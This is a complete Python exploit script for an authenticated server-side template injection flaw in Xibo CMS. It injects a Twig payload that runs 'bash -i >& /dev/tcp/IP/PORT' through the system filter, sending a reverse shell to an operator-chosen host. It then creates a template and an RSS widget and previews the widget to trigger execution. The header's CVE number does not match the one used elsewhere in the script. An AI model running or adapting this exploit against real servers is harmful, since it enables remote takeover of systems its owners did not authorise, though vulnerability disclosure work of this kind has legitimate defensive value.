# Exploit Title: Xibo CMS - Authenticated Remote Code Execution via SSTI # Date: 2025-11-04 # Exploit Author: Cristian Branet # Vendor Homepage: https://xibosignage.com/ # Software Link: https://github.com/xibosignage/xibo-cms/ # Version: < 4.3.1 # Tested on: Linux (Ubuntu 22.04) # CVE : CVE-2025-62639 # Article: https://cristibtz.github.io/posts/CVE-2025-62369/ import requests, argparse, pyfiglet, re, json, time parser = argparse.ArgumentParser(description="This script exploits CVE-2025-62369 in Xibo CMS to get a reverse shell.", formatter_class=argparse.ArgumentDefaultsHelpFormatter) parser.add_argument("-u", "--url", required=True, help="Xibo CMS server URL (e.g., http://localhost)") parser.add_argument("-s", "--session-key", required=True, help="Use the PHPSESSID") parser.add_argument("-i", "--ip", required=True, help="IP address for reverse shell") parser.add_argument("-p", "--port", required=True, help="Port for reverse shell") class Exploit: def __init__(self, url, session, ip, port): self.url = url self.session = session self.ip = ip self.port = port self.headers = { "Cookie": f"PHPSESSID={session}", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" } def get_xsrf_token(self): try: response = requests.get(f"{url}/statusdashboard", headers=self.headers) except Exception as e: print(f"Error connecting to {url}: {e}") exit(1) text = response.text pattern = r'name="token" content="([a-f0-9]+)"' try: xsrf_token = re.search(pattern, text).group(1) except Exception as e: print(f"Error extracting XSRF token: {e}") exit(1) return xsrf_token def create_module_template(self, xsrf_token): timestamp = int(time.time()) headers = { "Cookie": f"PHPSESSID={session}", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36", "X-XSRF-TOKEN": f"{xsrf_token}", "X-Requested-With": "XMLHttpRequest" } data = { "templateId": f"exploit_poc_{timestamp}", "title": "Template for PoC", "dataType": "article", "copyTemplateId": "", "showIn": "layout" } try: response = requests.post(f"{self.url}/developer/template", data=data, headers=headers) except Exception as e: print(f"Error creating module template: {e}") exit(1) response_info = json.loads(response.text) template_id = response_info["id"] return template_id, timestamp, f"exploit_poc_{timestamp}" def update_module_template(self, xsrf_token, template_id, name): headers = { "Cookie": f"PHPSESSID={session}", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36", "X-XSRF-TOKEN": f"{xsrf_token}", "X-Requested-With": "XMLHttpRequest" } data = { "templateId":f"{name}", "title": f"Template for PoC - {name}", "dataType": "article", "showIn": "layout", "enabled": "on", "developer-template-properties": [], "properties": [], "twig": '
Command Execution: {{["' + f"bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'" + '"]|filter(\'system\')}}
', "hbs": "", "style": "", "head": "", "onTemplateRender": "", "onTemplateVisible": "", "isInvalidateWidget": "on" } try: response = requests.put(f"{self.url}/developer/template/{template_id}", data=data, headers=headers) except Exception as e: print(f"Error updating module template: {e}") exit(1) response_info = json.loads(response.text) return response_info["success"] def create_normal_template(self, xsrf_token): timestamp = int(time.time()) headers = { "Cookie": f"PHPSESSID={session}", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36", "X-XSRF-TOKEN": f"{xsrf_token}", "X-Requested-With": "XMLHttpRequest" } data = { "folderId": 1, "name": f"exploit_poc_template_{timestamp}", "tags": "", "tagValueInput": "", "resolutionId": 1, "description": "Exploit template" } try: response = requests.post(f"{self.url}/template", data=data, headers=headers) except Exception as e: print(f"Error creating normal template: {e}") exit(1) response_info = json.loads(response.text) template_id = response_info["id"] layout_id = response_info["data"]["layoutId"] region_id = response_info["data"]["regions"][0]["regionId"] playlist_id = response_info["data"]["regions"][0]["regionPlaylist"]["playlistId"] return template_id, layout_id, region_id, playlist_id def add_rss_widget(self, xsrf_token, playlist_id, name): headers = { "Cookie": f"PHPSESSID={session}", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36", "X-XSRF-TOKEN": f"{xsrf_token}", "X-Requested-With": "XMLHttpRequest" } data = { "templateId": f"{name}", } try: response = requests.post(f"{url}/playlist/widget/rss-ticker/{str(int(playlist_id) + 1)}", data=data, headers=headers) except Exception as e: print(f"Error adding RSS widget: {e}") exit(1) response_info = json.loads(response.text) widget_id = response_info["id"] return widget_id def preview_rss_widget(self, xsrf_token, widget_id, playlist_id): headers = { "Cookie": f"PHPSESSID={session}", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36", "X-XSRF-TOKEN": f"{xsrf_token}", "X-Requested-With": "XMLHttpRequest" } try: response = requests.get(f"{url}/playlist/widget/resource/{str(int(playlist_id) + 1)}/{widget_id}?preview=1&isEditor=1", headers=headers) except Exception as e: print(f"Error previewing RSS widget: {e}") exit(1) return response.status_code if __name__=="__main__": print("\n") print(pyfiglet.figlet_format("CVE-2025-62369 PoC", font="small", width=100)) print("Author: Cristian Branet") print("GitHub: github.com/cristibtz") print("Description: This script exploits CVE-2025-62369 in Xibo CMS to get a reverse shell.") print("\n") args = parser.parse_args() url = args.url session = args.session_key ip = args.ip port = args.port xibo_exploit = Exploit(url, session, ip, port) try: xsrf_token = xibo_exploit.get_xsrf_token() except Exception as e: print(f"Error getting XSRF token: {e}") exit(1) print("Retrieved XSRF token: ") print(xsrf_token) try: module_template_id, creation_time, name = xibo_exploit.create_module_template(xsrf_token) except Exception as e: print(f"Error creating module template: {e}") exit(1) print(f"Created module template with id: {module_template_id} with name: {name}") try: update_success = xibo_exploit.update_module_template(xsrf_token, module_template_id, name) except Exception as e: print(f"Error updating module template: {e}") exit(1) print(f"Updated module template with success: {update_success}") print("Creating normal template...") try: normal_template_id, layout_id, region_id, playlist_id = xibo_exploit.create_normal_template(xsrf_token) except Exception as e: print(f"Error creating normal template: {e}") exit(1) print("Created normal template with: ") print(f"Normal Template ID: {normal_template_id}") print(f"Layout ID: {layout_id}") print(f"Region ID: {region_id}") print(f"Playlist ID: {playlist_id}") print("Adding RSS widget to playlist...") try: widget_id = xibo_exploit.add_rss_widget(xsrf_token, playlist_id, name) except Exception as e: print(f"Error adding RSS widget: {e}") exit(1) print(f"Added RSS widget with ID: {widget_id}") print("Previewing RSS widget to trigger the exploit...") try: status_code = xibo_exploit.preview_rss_widget(xsrf_token, widget_id, playlist_id) except Exception as e: print(f"Error previewing RSS widget: {e}") exit(1) if status_code == 200: print("Exploit triggered successfully! Check your listener for a reverse shell.") else: print("Failed to trigger the exploit.")